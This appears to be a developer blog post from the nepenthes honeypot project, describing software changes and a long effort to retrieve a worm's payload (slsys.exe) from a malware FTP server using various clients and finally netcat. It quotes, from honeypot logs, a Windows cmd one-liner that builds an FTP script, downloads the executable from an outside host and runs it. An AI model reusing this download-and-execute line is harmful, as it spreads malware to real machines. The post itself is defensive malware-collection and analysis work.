the mentioned problem with viri ftp daemons that are very sensible to what you send them, is _fixed_ download-ftp, the windows nt shell emulation and some other things got improved to fit these needs.

we took the possibility to change some other things we wanted to change before

• logging now scales very well,
  • log crit,warn,info now means dont miss a thing, and dont waste harddiskspace
  • dont apply filters if you want the spam mode you ran before
• dumping unknown crap/shellcodes is improved by _many_ miles
• now we use etc/nepenthes to store all the config files

as there are so many changes, we want to test this at least one night, we dont expect problems, and if nothing shows up, you can get the release tomorrow.

We still lack prebuild binaries for all distributions … but gentoo added a ebuild to the portage to install nepenthes from source.

The ebuild is really nice as it applys the patches from the tracker too.

looking at the logs we found some tries to download a file called “slsys.exe” but no try was a success … so we digged deeper, got the line to download the file from the logs

cmd /c echo open 212.XXX.184.53 2812 » ii &echo user a a » ii &echo binary » ii &echo get slsys.exe » ii &echo bye » ii &ftp -n -v -s:ii &del ii &slsys.exe

and found a box that was still online serving the file ( the above is down ).

before we start some words about the file we put it into http://www.virustotal.com

gaining a valid copy of the file was really hard,

• microsoft windows ftp client would work i guess, but i natted myself, so the active ftp transferr failed
• nepenthes could not download it
• wget segfaulted
• curl denied service due to protocol issues
• lftp failed
• netkit 0.17 ftp downloaded the file but saved it as ascii text …

<- 220

-> USER a
<- 331 

-> PASS a
<- 230 

-> TYPE I
<- 200 

-> PORT 192,168,0,23,4,195
<- 200 OK

-> RETR slsys.exe
<- 150 OK

-> QUIT
<- 226 OK

this would get the file, but is useless if your running nepenthes …

As nepenthes does not send the TYPE I request to set binary mode the virus ftp server fails sending the file.

If you think the nepenthes download-ftp did worse, look at wget …

wget ftp://a:a@212.XXX.83.137:1609/slsys.exe
--00:06:18--  ftp://a:*password*@212.XXX.83.137:1609/slsys.exe
           => `slsys.exe'
Connecting to 212.XXX.83.137:1609... verbunden.
Anmelden als a ... Angemeldet!
==> SYST ... Segmentation fault

We ran wget in valgrind compiled from source.

==> SYST ... 
==13841==
==13841== Invalid read of size 1
==13841==    at 0x1BA72E52: strcasecmp (in /lib/libc-2.3.4.so)
==13841==    by 0x8052D5C: ftp_syst (in /tmp/installed-wget/bin/wget)
==13841==    by 0x804FFBF: getftp (in /tmp/installed-wget/bin/wget)
==13841==    by 0x805087A: ftp_loop_internal (in /tmp/installed-wget/bin/wget)
==13841==    by 0x8051E2B: ftp_loop (in /tmp/installed-wget/bin/wget)
==13841==    by 0x8064185: retrieve_url (in /tmp/installed-wget/bin/wget)
==13841==    by 0x8060267: main (in /tmp/installed-wget/bin/wget)
==13841==  Address 0x0 is not stack'd, malloc'd or (recently) free'd

looking into the source gave us this

/* Which system type has been reported (we are interested just in the
   first word of the server response)?  */
   request = strtok (NULL, " ");

request is not checked for being NULL.

checking request for being NULL gave us the result wget would crash on the next reply …

so, wget hit the wall, and what about curl?

curl --verbose  --disable-eprt --ftp-port - --verbose  ftp://a:a@212.XXX.83.137:1609/slsys.exe
* About to connect() to 212.XXX.83.137 port 1609
*   Trying 212.XXX.83.137... connected
* Connected to 212.XXX.83.137 (212.XXX.83.137) port 1609
< 220
> USER a
< 331
> PASS a
< 230
> PWD
< 200
> PORT 134,61,128,10,10,10
< 200
* Connect data stream actively
> TYPE I
< 150
* Couldn't set desired mode
* Connection #0 to host 212.202.83.137 left intact
curl: (17) Couldn't set desired mode
> QUIT
< 226
* Closing connection #0

curl does _not_ crash … but does not download too … not sending PWD and sending TYPE I before sending PORT and curl would get it done.

lftp simply failed.

$ lftp
lftp :~> debug 10
lftp :~> open ftp://a:a@212.XXX.83.137:1609
---- Resolving host address...
---- 1 address found
lftp a@212.202.83.137:~> user a
Password:


lftp a@212.XXX.83.137:~> get slsys.exe
dns cache hit
---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609
<--- 220
---> FEAT
<--- 331
---> AUTH TLS
<--- 230
---> USER a
**** gnutls_handshake: A record packet with illegal version was received.
---- Closing control socket
get: Fatal error: gnutls_handshake: A record packet with illegal version was received.

so we switched ssl off.

lftp a@212.XXX.83.137:~> set ftp:ssl-allow off

retried getting the file

lftp a@212.XXX.83.137:~> get slsys.exe
dns cache hit
---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609
<--- 220
---> FEAT
<--- 331
---> USER a

<--- 230
---> PWD
<--- 200
---> TYPE I
<--- 200
---> SIZE slsys.exe
<--- 150
<--- 226
---> MDTM slsys.exe
<--- 221
---> PASV
**** Peer closed connection
---- Closing data socket
---- Closing control socket
Interrupt

disabled passive mode

lftp a@212.XXX.83.137:~> set ftp:passive-mode off

retried getting the file

lftp a@212.XXX.83.137:~> get slsys.exe
dns cache hit
---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609
<--- 220
---> FEAT
<--- 331
---> USER a
<--- 230
---> PWD
<--- 200
---> TYPE I
<--- 200
---> SIZE slsys.exe
<--- 150
<--- 226

---> MDTM slsys.exe
<--- 221
---> PORT 192,168,0,23,10,17
**** Peer closed connection
---- Closing data socket
---- Closing control socket
Interrupt
lftp a@212.XXX.83.137:~>

and it still failed. PWD SIZE and MDTM puzzle the virus ftp daemon.

he at least downloaded the file, but converted it to ascii format …

$ ftp
ftp> debug
Debugging on (debug=1).
ftp> verbose
Verbose mode off.
ftp> verbose
Verbose mode on.
ftp>  open 212.XXX.83.137 1609
Connected to 212.XXX.83.137.
220
ftp: setsockopt: Bad file descriptor
Name (212.XXX.83.137:user): a
---> USER a
331
Password:
---> PASS XXXX
230
---> SYST
200
Remote system type is .
ftp> get slsys.exe
local: slsys.exe remote: slsys.exe
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,0,23,10,22
200
---> RETR slsys.exe
150
WARNING! 351 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226
88309 bytes received in 0.77 secs (112.2 kB/s)

this ftp client does _not_ send the TYPE I, but sends SYST instead, and accepts the reply as valid. the file we get is b0rked as the ftp client saves it as a text file. putting the client in binary mode, make him send “TYPE I” and breaks the virus ftp daemons command order.

we opend a controll connection, send the user, pass, syst, port and retr requests, and accepted the file on using another netcat in listen mode.

nc -vv -l -p 2539 > /tmp/slsys.exe

$ nc 212.XXX.83.137 1609
<- 220
-> USER a
<- 331
-> PASS a
<- 230
-> SYST
<- 200
-> PORT 192,168,0,23,9,235
<- 200
-> RETR slsys.exe
<- 150
<- 226

so, using netcat we were able to download the file.

all ftp clients suck.

We will offer a patch addressing this issue in download_ftp during the next 24h. Adding this is a little more than trivial as we got to patch Download & the VFS which offers the ftp.exe emulation. Need to sleep now.